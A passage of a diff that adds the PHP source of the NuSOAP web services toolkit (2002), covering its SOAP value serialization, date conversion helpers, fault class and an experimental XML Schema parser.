+                'normalizedString'=>'string','token'=>'string','language'=>'','NMTOKEN'=>'','NMTOKENS'=>'','Name'=>'','NCName'=>'','ID'=>'',
+                'IDREF'=>'','IDREFS'=>'','ENTITY'=>'','ENTITIES'=>'','integer'=>'integer','nonPositiveInteger'=>'integer',
+                'negativeInteger'=>'integer','long'=>'','int'=>'integer','short'=>'','byte'=>'','nonNegativeInteger'=>'integer',
+                'unsignedLong'=>'','unsignedInt'=>'','unsignedShort'=>'','unsignedByte'=>'','positiveInteger'=>''),
+        'http://www.w3.org/1999/XMLSchema' => array(
+                'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double',
+                'float'=>'double','dateTime'=>'string',
+                'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'),
+        'http://soapinterop.org/xsd' => array('SOAPStruct'=>'struct'),
+        'http://schemas.xmlsoap.org/soap/encoding/' => array('base64'=>'string','array'=>'array','Array'=>'array')
+        );
+
+        /**
+        *  entities to convert
+        *
+        * @var      xmlEntities
+        * @access   public
+        */
+        var $xmlEntities = array('quot' => '"','amp' => '&',
+                'lt' => '<','gt' => '>','apos' => "'");
+
+        /**
+        * constructor: loads schema version
+        */
+        function nusoap_base(){
+                global $XMLSchemaVersion;
+                $this->XMLSchemaVersion = $XMLSchemaVersion;
+        }
+
+        /**
+        * adds debug data to the class level debug string
+        *
+        * @param    string $string debug data
+        * @access   private
+        */
+        function debug($string){
+                $this->debug_str .= get_class($this).": $string\n";
+        }
+
+        /**
+        * returns error string if present
+        *
+        * @return   boolean $string error string
+        * @access   public
+        */
+        function getError(){
+                if($this->error_str != ""){
+                        return $this->error_str;
+                }
+                return false;
+        }
+
+        /**
+        * sets error string
+        *
+        * @return   boolean $string error string
+        * @access   private
+        */
+        function setError($str){
+                $this->error_str = $str;
+        }
+
+        /**
+        * serializes PHP values in accordance w/ section 5
+        * @return        string
+    * @access        public
+        */
+        function serialize_val($val,$name=false,$type=false,$name_ns=false,$type_ns=false,$attributes=false){
+                //print "in serialize_val: $val, $name, $type, $name_ns, $type_ns<br>";
+                // if no name, use item
+                $name = (!$name|| is_numeric($name)) ? 'noname' : $name;
+                // if name has ns, add ns prefix to name
+                if($name_ns){
+                        $prefix = 'nu'.rand(1000,9999);
+                        $name = $prefix.':'.$name;
+                        $xmlns .= " xmlns:$prefix=\"$name_ns\"";
+                }
+                // if type is prefixed, create type prefix
+                if($type_ns == $this->namespaces['xsd'] || $type_ns == ''){
+                       // need to fix this. shouldn't default to if no ns specified
+                    // w/o checking against typemap
+                        $type_prefix = 'xsd';
+                } elseif($type_ns){
+                        $type_prefix = 'ns'.rand(1000,9999);
+                        $xmlns .= " xmlns:$type_prefix=\"$type_ns\"";
+                }
+                // serialize attributes if present
+                if($attributes){
+                        foreach($attributes as $k => $v){
+                                $atts .= " $k=\"$v\"";
+                        }
+                }
+                // detect type and serialize
+                switch(true) {
+                        case is_null($val):
+                                $xml .= "<$name$xmlns xsi:type=\"xsd:nil\"/>\n";
+                                break;
+                        case (is_bool($val) || $type == 'boolean'):
+                                       if(!$val){
+                                       $val = 0;
+                                }
+                                $xml .= "<$name$xmlns xsi:type=\"".$type_prefix.":boolean\"$atts>$val</$name>\n";
+                                break;
+                        case (is_int($val) || is_long($val) || $type == 'int'):
+                                $xml .= "<$name$xmlns xsi:type=\"".$type_prefix.":int\"$atts>$val</$name>\n";
+                                break;
+                        case (is_float($val)|| is_double($val) || $type == 'float'):
+                                $xml .= "<$name$xmlns xsi:type=\"".$type_prefix.":float\"$atts>$val</$name>\n";
+                                break;
+                        case (is_string($val) || $type == 'string'):
+                               if($this->charencoding){
+                               $val = htmlspecialchars($val);
+                            }
+                                $xml .= "<$name$xmlns xsi:type=\"".$type_prefix.":string\"$atts>$val</$name>\n";
+                                break;
+                        case is_object($val):
+                                break;
+                        break;
+                        case (is_array($val) || $type):
+                                // detect if struct or array
+                                if(ereg("^[0-9]+$",key($val)) || ereg('^ArrayOf',$type)){
+                                        foreach($val as $v){
+                                                $tt = gettype($v);
+                                                $array_types[$tt] = 1;
+                                                $xml .= $this->serialize_val($v,'item');
+                                                if(is_array($v) && is_numeric(key($v))){
+                                                        $i += sizeof($v);
+                                                } else {
+                                                        $i += 1;
+                                                        unset($array_types['array']);
+                                                }
+                                        }
+                                        if(count($array_types) > 1){
+                                                $array_typename = "xsd:ur-type";
+                                        } else {
+                                                $array_typename = "xsd:".$tt;
+                                        }
+                                        if($array_types['array']){
+                                                $array_type = $i.",".$i;
+                                        } else {
+                                                $array_type = $i;
+                                        }
+                                        $xml = "<$name xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"".$array_typename."[$array_type]\"$atts>\n".$xml."</$name>\n";
+                                } else {
+                                        // got a struct
+                                        if($type && $type_prefix){
+                                                $type_str = " xsi:type=\"$type_prefix:$type\"";
+                                        }
+                                        $xml .= "<$name$xmlns$type_str$atts>\n";
+                                        foreach($val as $k => $v){
+                                                $xml .= $this->serialize_val($v,$k);
+                                        }
+                                        $xml .= "</$name>\n";
+                                }
+                                break;
+                        default:
+                                $xml .= "not detected, got ".gettype($val)." for $val\n";
+                                break;
+                }
+                return $xml;
+        }
+
+    /**
+    * serialize message
+    *
+    * @param string body
+    * @param string headers
+    * @param array namespaces
+    * @return string message
+    * @access public
+    */
+    function serializeEnvelope($body,$headers=false,$namespaces=array()){
+        // serialize namespaces
+        foreach(array_merge($this->namespaces,$namespaces) as $k => $v){
+                $ns_string .= "\n  xmlns:$k=\"$v\"";
+        }
+        // serialize headers
+        if($headers){
+                $headers = "<SOAP-ENV:Header>\n".$headers."</SOAP-ENV:Header>\n";
+        }
+        // serialize envelope
+        return
+        "<?xml version=\"1.0\"?".">\n".
+        "<SOAP-ENV:Envelope SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"$ns_string>\n".
+        $headers.
+        "<SOAP-ENV:Body>\n".
+                $body.
+        "</SOAP-ENV:Body>\n".
+        "</SOAP-ENV:Envelope>\n";
+    }
+
+    function formatDump($str){
+        $str = htmlspecialchars($str);
+        return nl2br($str);
+    }
+}
+
+// XML Schema Datatype Helper Functions
+
+//xsd:dateTime helpers
+
+/**
+* convert unix timestamp to ISO 8601 compliant date string
+*
+* @param    string $timestamp Unix time stamp
+* @access   public
+*/
+function timestamp_to_iso8601($timestamp,$utc=true){
+        $datestr = date("Y-m-d\TH:i:sO",$timestamp);
+        if($utc){
+                $eregStr =
+                "([0-9]{4})-".        // centuries & years CCYY-
+                "([0-9]{2})-".        // months MM-
+                "([0-9]{2})".        // days DD
+                "T".                        // separator T
+                "([0-9]{2}):".        // hours hh:
+                "([0-9]{2}):".        // minutes mm:
+                "([0-9]{2})(\.[0-9]*)?". // seconds ss.ss...
+                "(Z|[+\-][0-9]{2}:?[0-9]{2})?"; // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's
+
+                if(ereg($eregStr,$datestr,$regs)){
+                        return sprintf("%04d-%02d-%02dT%02d:%02d:%02dZ",$regs[1],$regs[2],$regs[3],$regs[4],$regs[5],$regs[6]);
+                }
+                return false;
+        } else {
+                return $datestr;
+        }
+}
+
+/**
+* convert ISO 8601 compliant date string to unix timestamp
+*
+* @param    string $datestr ISO 8601 compliant date string
+* @access   public
+*/
+function iso8601_to_timestamp($datestr){
+        $eregStr =
+        "([0-9]{4})-".        // centuries & years CCYY-
+        "([0-9]{2})-".        // months MM-
+        "([0-9]{2})".        // days DD
+        "T".                        // separator T
+        "([0-9]{2}):".        // hours hh:
+        "([0-9]{2}):".        // minutes mm:
+        "([0-9]{2})(\.[0-9]+)?". // seconds ss.ss...
+        "(Z|[+\-][0-9]{2}:?[0-9]{2})?"; // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's
+        if(ereg($eregStr,$datestr,$regs)){
+                // not utc
+                if($regs[8] != "Z"){
+                        $op = substr($regs[8],0,1);
+                        $h = substr($regs[8],1,2);
+                        $m = substr($regs[8],strlen($regs[8])-2,2);
+                        if($op == "-"){
+                                $regs[4] = $regs[4] + $h;
+                                $regs[5] = $regs[5] + $m;
+                        } elseif($op == "+"){
+                                $regs[4] = $regs[4] - $h;
+                                $regs[5] = $regs[5] - $m;
+                        }
+                }
+                return strtotime("$regs[1]-$regs[2]-$regs[3] $regs[4]:$regs[5]:$regs[6]Z");
+        } else {
+                return false;
+        }
+}
+
+
+?>
+<?php
+
+/**
+* soap_fault class, allows for creation of faults
+* mainly used for returning faults from deployed functions
+* in a server instance.
+* @access public
+*/
+class soap_fault extends nusoap_base {
+
+       var $faultcode;
+       var $faultactor;
+       var $faultstring;
+       var $faultdetail;
+
+       /**
+       * constructor
+    *
+    * @param string $faultcode
+    * @param string $faultactor (client | server)
+    * @param string $faultstring
+    * @param string $faultdetail
+       */
+       function soap_fault($faultcode,$faultactor,$faultstring='',$faultdetail=''){
+               $this->faultcode = $faultcode;
+               $this->faultactor = $faultactor;
+               $this->faultstring = $faultstring;
+               $this->faultdetail = $faultdetail;
+       }
+
+       /**
+       * serialize a fault
+       *
+       * @access   public
+       */
+       function serialize(){
+               foreach($this->namespaces as $k => $v){
+                       $ns_string .= "\n  xmlns:$k=\"$v\"";
+               }
+               $return_msg =
+                       "<?xml version=\"1.0\"?".">\n".
+                       "<SOAP-ENV:Envelope SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"$ns_string>\n".
+                               "<SOAP-ENV:Body>\n".
+                               "<SOAP-ENV:Fault>\n".
+                                       "<faultcode>$this->faultcode</faultcode>\n".
+                                       "<faultactor>$this->faultactor</faultactor>\n".
+                                       "<faultstring>$this->faultstring</faultstring>\n".
+                                       "<faultdetail>$this->faultdetail</faultdetail>\n".
+                               "</SOAP-ENV:Fault>\n".
+                               "</SOAP-ENV:Body>\n".
+                       "</SOAP-ENV:Envelope>\n";
+               return $return_msg;
+       }
+}
+
+?><?
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+*/
+
+/**
+* parses an XML Schema, allows access to it's data, other utility methods
+* no validation... yet.
+* very experimental and limited. As is discussed on XML-DEV, I'm one of the people
+* that just doesn't have time to read the spec(s) thoroughly, and just have a couple of trusty
+* tutorials I refer to :)
+*
+* @author   Dietrich Ayala <dietricha@ganx4.com>
+* @access   public
+*/
+class XMLSchema extends nusoap_base  {
+
+        /**
+        * constructor
+        *
+        * @param    string $schema schema document URI
+        * @param    string $xml xml document URI
+        * @access   public
+        */
+        function XMLSchema($schema="",$xml=""){
+
+                $this->debug('xmlschema class instantiated, inside constructor');
+                // files
+                $this->schema = $schema;
+                $this->xml = $xml;
+
+                // define internal arrays of bindings, ports, operations, messages, etc.
+                $this->complexTypes = array();
+
+                // parser vars
+                $this->parser;
+                $this->position;
+                $this->depth;
+                $this->depth_array = array();
+
+                // parse schema file
+        if($schema != ""){
+                        $this->debug("initial schema file: $schema");
+                        $this->parseFile($schema);
+        }
+
+                // parse xml file
+        if($xml != ""){
+                        $this->debug("initial xml file: $xml");
+                        $this->parseFile($xml);
+        }
+
+        }
+
+    /**
+    * parse an XML file
+    *
+    * @param string $xml, path/URL to XML file
+    * @param string $type, (schema | xml)
+        * @return boolean
+    * @access public
+    */
+        function parseFile($xml,$type){
+                // parse xml file
+        if($xml != ""){
+                        $this->debug("parsing $xml");
+                        $xmlStr = @join("",@file($xml));
+                        if($xmlStr == ""){
+                                $this->setError("No file at the specified URL: $xml.");
+                        return false;
+                        } else {
+                                $this->parseString($xmlStr,$type);
+                        return true;
+                        }
+                }
+        return false;
+        }
+
+        /**
+        * parse an XML string
+        *
+        * @param    string $xml path or URL
+    * @param string $type, (schema|xml)
+        * @access   private
+        */
+        function parseString($xml,$type){
+                // parse xml string
+        if($xml != ""){
+
+            // Create an XML parser.
+            $this->parser = xml_parser_create();
+            // Set the options for parsing the XML data.
+            xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);
+
+            // Set the object for the parser.
+            xml_set_object($this->parser, $this);
+
+            // Set the element handlers for the parser.
+                        if($type == "schema"){
+                    xml_set_element_handler($this->parser, "schemaStartElement","schemaEndElement");
+                    xml_set_character_data_handler($this->parser,"schemaCharacterData");
+                        } elseif($type == "xml"){
+                                xml_set_element_handler($this->parser, "xmlStartElement","xmlEndElement");
+                    xml_set_character_data_handler($this->parser,"xmlCharacterData");
+                        }
+
+            // Parse the XML file.
+            if(!xml_parse($this->parser,$xml,true)){
+                // Display an error message.
+                                $errstr = sprintf("XML error on line %d: %s",
+                        xml_get_current_line_number($this->parser),
+                        xml_error_string(xml_get_error_code($this->parser))
+                                );
+                                $this->debug("XML parse error: $errstr");
+                                $this->setError("Parser error: $errstr");
+            }
+                        xml_parser_free($this->parser);
+        } else{
+                        $this->debug("no xml passed to parseString()!!");
+                        $this->setError("no xml passed to parseString()!!");
+                }
+        }
+
+        /**
+        * start-element handler
+        *
+        * @param    string $parser XML parser object
+        * @param    string $name element name
+        * @param    string $attrs associative array of attributes
+        * @access   private
+        */
+        function schemaStartElement($parser, $name, $attrs) {
+
+                // position in the total number of elements, starting from 0
+                $pos = $this->position++;
+                $depth = $this->depth++;
+                // set self as current value for this depth
+                $this->depth_array[$depth] = $pos;
+
+                // loop through atts, logging ns declarations
+                foreach($attrs as $key => $value){
+                        // if ns declarations, add to class level array of valid namespaces
+                        if(ereg("^xmlns",$key)){
+                                if($ns_prefix = substr(strrchr($key,":"),1)){
+                                        $this->namespaces[$ns_prefix] = $value;
+                                } else {
+                                        $this->namespaces['ns'.(count($this->namespaces)+1)] = $value;
+                                }
+                                if($value == 'http://www.w3.org/2001/XMLSchema'){
+                                        $this->XMLSchemaVersion = $value;
+                                        $this->namespaces['xsi'] = $value.'-instance';
+                                } elseif($value == 'http://www.w3.org/1999/XMLSchema'){
+                                        $this->XMLSchemaVersion = $value;
+                                        $this->namespaces['xsi'] = $value.'-instance';
+                                }
+                        }
+                }
+
+                // get element prefix
+                if(ereg(":",$name)){
+                        // get ns prefix
+                        $prefix = substr($name,0,strpos($name,":"));
+                        // get unqualified name
+                        $name = substr(strstr($name,":"),1);
+                }
+                //$this->debug("name: $name, prefix: $prefix");
+
+                // find status, register data
+                switch($name){
+                        case "all":
+                                $this->complexTypes[$this->currentComplexType]["compositor"] = "all";
+                                $this->complexTypes[$this->currentComplexType]["phpType"] = "struct";
+                        break;
+                        case "attribute":
+                                if($attrs["name"]){
+                                        $this->attributes[$attrs["name"]] = $attrs;
+                                        $aname = $attrs["name"];
+                                } elseif($attrs["ref"]){
+                                        $aname = $this->expandQName($attrs["ref"]);
+                                }
+
+                                if($this->currentComplexType){
+                                        $this->complexTypes[$this->currentComplexType]["attrs"][$aname] = $attrs;
+                                } elseif($this->currentElement){
+                                        $this->elements[$this->currentElement]['attrs'][$aname] = $attrs;
+                                }
+
+                                if($aname == 'http://schemas.xmlsoap.org/soap/encoding/:arrayType'){
+                                        foreach($attrs as $k => $v){
+                                                if(strstr($k,':') == ':arrayType'){
+                                                        if(strpos($v,'[,]')){
+                                                                $this->complexTypes[$this->currentComplexType]["multidimensional"] = true;
+                                                        }
+                                                        $v = substr($v,0,strpos($v,'[')); // clip the []
+                                                        if(strpos($v,':')){
+                                                                $v = $this->expandQName($v);
+                                                        } else {
+                                                                $v = $this->XMLSchemaVersion.':'.$v;
+                                                        }
+                                                        $this->complexTypes[$this->currentComplexType]["arrayType"] = $v;
+                                                        break;
+                                                }
+                                        }
+                                }
+                        break;
+                        case "complexContent":
+
+                        break;
+                        case 'complexType':
+                                if($attrs['name']){
+                                        $this->currentElement = false;
+                                        $this->currentComplexType = $attrs['name'];
+                                        $this->complexTypes[$this->currentComplexType] = $attrs;
+                                        $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType';
+                                        if(ereg(':Array$',$attrs['base'])){
+                                                $this->complexTypes[$this->currentComplexType]['phpType'] = 'array';
+                                        } else {
+                                                $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct';
+                                        }
+                                        $this->xdebug("processing complexType $attrs[name]");
+                                }
+                        break;
+                        case 'element':
+                                if(isset($attrs['type'])){
+                                        $this->xdebug("processing element ".$attrs['name']);
+                                        $this->currentElement = $attrs['name'];
+                                        $this->elements[ $attrs['name'] ] = $attrs;
+                                        $this->elements[ $attrs['name'] ]['typeClass'] = 'element';
+                                        $ename = $attrs['name'];
+                                } elseif(isset($attrs['ref'])){
+                                        $ename = $attrs['ref'];
+                                } else {
+                                        $this->xdebug("adding complexType $attrs[name]");
+                                        $this->currentComplexType = $attrs['name'];
+                                        $this->complexTypes[ $attrs['name'] ] = $attrs;
+                                        $this->complexTypes[ $attrs['name'] ]['element'] = 1;
+                                        $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct';
+                                }
+                                if($ename && $this->currentComplexType){
+                                        $this->complexTypes[$this->currentComplexType]['elements'][$ename] = $attrs;
+                                }
+                        break;
+                        case 'restriction':
+                                $this->xdebug("in restriction for ct: $this->currentComplexType and ce: $this->currentElement");
+                                if($this->currentElement){
+                                        $this->elements[$this->currentElement]['type'] = $attrs['base'];
+                                } elseif($this->currentComplexType){
+                                        $this->complexTypes[$this->currentComplexType]['restrictionBase'] = $attrs['base'];
+                                        if(strstr($attrs['base'],':') == ':Array'){
+                                                $this->complexTypes[$this->currentComplexType]['phpType'] = "array";
+                                        }
+                                }
+                        break;
+                        case 'schema':
+                                $this->schema = $attrs;
+                                $this->schema['schemaVersion'] = $this->getNamespaceFromPrefix($prefix);
+                        break;
+                        case 'sequence':
+                                $this->complexTypes[$this->currentComplexType]['compositor'] = 'sequence';
+                        break;
+                        case 'simpleType':
+                                $this->currentElement = $attrs['name'];
+                                $this->elements[ $attrs['name'] ] = $attrs;
+                                $this->elements[ $attrs['name'] ]['typeClass'] = 'element';
+                        break;
+                }
+        }
+
+        /**
+        * end-element handler
+        *
+        * @param    string $parser XML parser object
+        * @param    string $name element name
+        * @access   private
+        */
+        function schemaEndElement($parser, $name) {
+                // position of current element is equal to the last value left in depth_array for my depth
+                $pos = $this->depth_array[$this->depth];
+                // bring depth down a notch
+                $this->depth--;
+                // move on...
+                if($name == 'complexType'){
+                        $this->currentComplexType = false;
+                        $this->currentElement = false;
+                }
+                if($name == 'element'){
+                        $this->currentElement = false;
+                }
+        }
+
+        /**
+        * element content handler
+        *
+        * @param    string $parser XML parser object
+        * @param    string $data element content
+        * @access   private
+        */
+        function schemaCharacterData($parser, $data){
+                $pos = $this->depth_array[$this->depth];
+                $this->message[$pos]["cdata"] .= $data;
+        }
+
+        /**
+        * serialize the schema
+        *
+        * @access   public
+        */
+        function serializeSchema(){
+
+                $schemaPrefix = $this->getPrefixFromNamespace($this->schema['schemaVersion']);
+                // complex types
+                foreach($this->complexTypes as $typeName => $attrs){
+                        $contentStr = "";
+                        // serialize child elements
+                        if(count($attrs["elements"]) > 0){
+                                foreach($attrs["elements"] as $element => $eParts){
+                                        $contentStr .= "<element ref=\"$element\"/>\n";
+                                }
+                        }
+                        // serialize attributes
+                        if(count($attrs["attrs"]) > 0){
+                                foreach($attrs["attrs"] as $attr => $aParts){
+                                        $contentStr .= "<attribute ref=\"$attr\"/>\n";
+                                }
+                        }
+
+                        // if restriction
+                        if($attrs["restrictionBase"]){
+                                $contentStr = "<$schemaPrefix:restriction base=\"".$attrs["restrictionBase"]."\">\n".
+                                $contentStr."</$schemaPrefix:restriction>\n";
+                        }
+                        if($attrs["complexContent"]){
+                                $contentStr = "<$schemaPrefix:complexContent>\n".
+                                $contentStr."</$schemaPrefix:complexContent>\n";
+                        } elseif($attrs["sequence"]){
+                                $contentStr = "<$schemaPrefix:sequence>\n".
+                                $contentStr."</$schemaPrefix:sequence>\n";
+                        } elseif($attrs["all"]){
+                                $contentStr = "<$schemaPrefix:all>\n".
+                                $contentStr."</$schemaPrefix:all>\n";
+                        }
+                        if($attrs['element']){
+                                if($contentStr != ""){
+                                        $contentStr = "<$schemaPrefix:element name=\"$typeName\">\n"."<$schemaPrefix:complexType>\n".
+                                        $contentStr."</$schemaPrefix:complexType>\n"."</$schemaPrefix:element>\n";
+                                } else {
+                                        $contentStr = "<$schemaPrefix:element name=\"$typeName\">\n"."<$schemaPrefix:complexType/>\n".
+                                        "</$schemaPrefix:element>\n";
+                                }
+                        } else {
+                                if($contentStr != ""){
+                                        $contentStr = "<$schemaPrefix:complexType name=\"$typeName\">\n".
+                                        $contentStr."</$schemaPrefix:complexType>\n";
+                                } else {
+                                        $contentStr = "<$schemaPrefix:complexType name=\"$typeName\"/>\n";
+                                }
+                        }
+                        $xml .= $contentStr;
+                }
+                // elements
+                if(count($this->elements) > 0){
+                        foreach($this->elements as $element => $eParts){
+                                $xml .= "<$schemaPrefix:element name=\"$element\" type=\"".$eParts['type']."\"/>\n";
+                        }
+                }
+                // attributes
+                if(count($this->attributes) > 0){
+                        foreach($this->attributes as $attr => $aParts){
+                                $xml .= "<$schemaPrefix:attribute name=\"$attr\" type=\"".$aParts['type']."\"/>\n";
+                        }
+                }
+                $xml = "<$schemaPrefix:schema targetNamespace=\"".$this->schema["targetNamespace"]."\">\n".
+                $xml."</$schemaPrefix:schema>\n";
+
+                return $xml;
+        }
+
+        /**
+        * expands a qualified name
+        *
+        * @param    string $string qname
+        * @return        string expanded qname
+        * @access   private
+        */
+        function expandQname($qname){
+                // get element prefix
+                if(ereg(":",$qname)){
+                        // get unqualified name
+                        $name = substr(strstr($qname,":"),1);
+                        // get ns prefix
+                        $prefix = substr($qname,0,strpos($qname,":"));
+                        if(isset($this->namespaces[$prefix])){
+                                return $this->namespaces[$prefix].":".$name;
+                        } else {
+                                return false;
+                        }
+                } else {
+                        return $qname;
+                }
+        }
+
+        /**
+        * adds debug data to the clas level debug string
+        *
+        * @param    string $string debug data
+        * @access   private
+        */
+        function xdebug($string){
+                $this->debug(" xmlschema: $string");
+        }
+
+    /**
+    * get the PHP type of a user defined type in the schema
+    * PHP type is kind of a misnomer since it actually returns 'struct' for assoc. arrays
+    * returns false if no type exists, or not w/ the given namespace
+    * else returns a string that is either a native php type, or 'struct'
+    *
+    * @param string $type, name of defined type
+    * @param string $ns, namespace of type
+    * @return mixed
+    * @access public
+    */
+        function getPHPType($type,$ns){
+                global $typemap;
+                if(isset($typemap[$ns][$type])){
+                        //print "found type '$type' and ns $ns in typemap<br>";
+                        return $typemap[$ns][$type];
+                } elseif(isset($this->complexTypes[$type])){
+                        //print "getting type '$type' and ns $ns from complexTypes array<br>";
+                        return $this->complexTypes[$type]["phpType"];
+                }
+                return false;
+        }
+
+    /**
+    * returns the local part of a prefixed string
+    * returns the original string, if not prefixed
+    *
+    * @param string
+    * @return string
+    * @access public
+    */
+        function getLocalPart($str){
+                if($sstr = strrchr($str,':')){
+                        // get unqualified name
+                        return substr( $sstr, 1 );
+                } else {
+                        return $str;
+                }
+        }
+
+        /**
+    * returns the prefix part of a prefixed string
+    * returns false, if not prefixed
+    *
+    * @param string
+    * @return mixed
+    * @access public
+    */
+        function getPrefix($str){
+                if($pos = strrpos($str,':')){
+                        // get prefix
+                        return substr($str,0,$pos);
+                }
+                return false;
+        }
+
+        /**
+    * pass it a prefix, it returns a namespace
+    * or false if no prefixes registered for the given namespace
+    *
+    * @param string
+    * @return mixed
+    * @access public
+    */
+        function getNamespaceFromPrefix($prefix){
+                if(isset($this->namespaces[$prefix])){
+                        return $this->namespaces[$prefix];
+                }
+                //$this->setError("No namespace registered for prefix '$prefix'");
+                return false;
+        }
+
+        /**
+    * returns the prefix for a given namespace
+    * returns false if no namespace registered with the given prefix
+    *
+    * @param string
+    * @return mixed
+    * @access public
+    */
+        function getPrefixFromNamespace($ns){
+                foreach($this->namespaces as $p => $n){
+                        if($ns == $n){
+                            $this->usedNamespaces[$p] = $ns;
+                                return $p;
+                        }
+                }
+                return false;
+        }
+
+        /**
+    * returns an array of information about a given type
+    * returns false if no type exists by the given name
+    *
+        *         typeDef = array(
+        *         'elements' => array(), // refs to elements array
+        *        'restrictionBase' => '',
+        *        'phpType' => '',
+        *        'order' => '(sequence|all)',
+        *        'attrs' => array() // refs to attributes array
+        *        )
+    *
+    * @param string
+    * @return mixed
+    * @access public
+    */
+        function getTypeDef($type){
+                if(isset($this->complexTypes[$type])){
+                        return $this->complexTypes[$type];
+                } elseif(isset($this->elements[$type])){
+                        return $this->elements[$type];
+                } elseif(isset($this->attributes[$type])){
+                        return $this->attributes[$type];
+                }
+                return false;
+        }
+
+        /**
+    * returns a sample serialization of a given type, or false if no type by the given name
+    *
+    * @param string $type, name of type
+    * @return mixed
+    * @access public
+        */
+        function serializeTypeDef($type){
+                //print "in sTD() for type $type<br>";
+                if($typeDef = $this->getTypeDef($type)){
+                        $str .= "<$type";
+                        if(is_array($typeDef['attrs'])){
+                                foreach($attrs as $attName => $data){
+                                        $str .= " $attName=\"{type = ".$data['type']."}\"";
+                                }
+                        }
+                        $str .= " xmlns=\"".$this->schema['targetNamespace']."\"";
+                        if(count($typeDef['elements']) > 0){
+                                $str .= ">\n";
+                                foreach($typeDef['elements'] as $element => $eData){
+                                        $str .= $this->serializeTypeDef($element);
+                                }
+                                $str .= "</$type>\n";
+                        } elseif($typeDef['typeClass'] == 'element') {
+                                $str .= "></$type>\n";
+                        } else {
+                                $str .= "/>\n";
+                        }
+            return $str;
+                }
+                return false;
+        }
+
+        /**
+        * returns HTML form elements that allow a user
+    * to enter values for creating an instance of the given type.
+    *
+    * @param string $name, name for type instance
+    * @param string $type, name of type
+    * @return string
+    * @access public
+        */
+        function typeToForm($name,$type){
+                // get typedef
+                if($typeDef = $this->getTypeDef($type)){
+                        // if struct
+                        if($typeDef['phpType'] == 'struct'){
+                                $buffer .= '<table>';
+                                foreach($typeDef['elements'] as $child => $childDef){
+                                        $buffer .= "
+                                        <tr><td align='right'>$childDef[name] (type: ".$this->getLocalPart($childDef['type'])."):</td>
+                                        <td><input type='text' name='parameters[".$name."][$childDef[name]]'></td></tr>";
+                                }
+                                $buffer .= '</table>';
+                        // if array
+                        } elseif($typeDef['phpType'] == 'array'){
+                                $buffer .= '<table>';
+                                for($i=0;$i < 3; $i++){
+                                        $buffer .= "
+                                        <tr><td align='right'>array item (type: $typeDef[arrayType]):</td>
+                                        <td><input type='text' name='parameters[".$name."][]'></td></tr>";
+                                }
+                                $buffer .= '</table>';
+                        // if scalar
+                        } else {
+                                $buffer .= "<input type='text' name='parameters[$name]'>";
+                        }
+                } else {
+                        $buffer .= "<input type='text' name='parameters[$name]'>";
+                }
+                return $buffer;
+        }
+}
+
+?>
+<?php
+
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+*/
+
+/**
+* for creating serializable abstractions of native PHP types
+* NOTE: this is only really used when WSDL is not available.
+*
+* @author   Dietrich Ayala <dietricha@ganx4.com>
+* @version  v 0.6
+* @access   public
+*/
+class soapval extends nusoap_base {
+       /**
+       * constructor
+       *
+       * @param    string $name optional value name
+       * @param    string $type optional type name
+       * @param        mixed $value optional content of value
+       * @param        string $namespace optional namespace of value
+       * @param        string $type_namespace optional namespace of type
+       * @param        array $attributes associative array of attributes to add to element serialization
+       * @access   public
+       */
+       function soapval($name="noname",$type=false,$value=-1,$element_ns=false,$type_ns=false,$attributes=false) {
+               $this->name = $name;
+               $this->value = $value;
+               $this->type = $type;
+               $this->element_ns = $element_ns;
+               $this->type_ns = $type_ns;
+               $this->attributes = $attributes;
+    }
+
+       /**
+       * return serialized value
+       *
+       * @return       string XML data
+       * @access   private
+       */
+       function serialize() {
+               return $this->serialize_val($this->value,$this->name,$this->type,$this->element_ns,$this->type_ns,$this->attributes);
+    }
+
+       /**
+       * decodes a soapval object into a PHP native type
+       *
+       * @param        object $soapval optional SOAPx4 soapval object, else uses self
+       * @return       mixed
+       * @access   public
+       */
+       function decode(){
+               return $this->value;
+       }
+}
+
+?>
+<?php
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+*/
+
+/**
+* transport class for sending/receiving data via HTTP and HTTPS
+* NOTE: PHP must be compiled with the CURL extension for HTTPS support
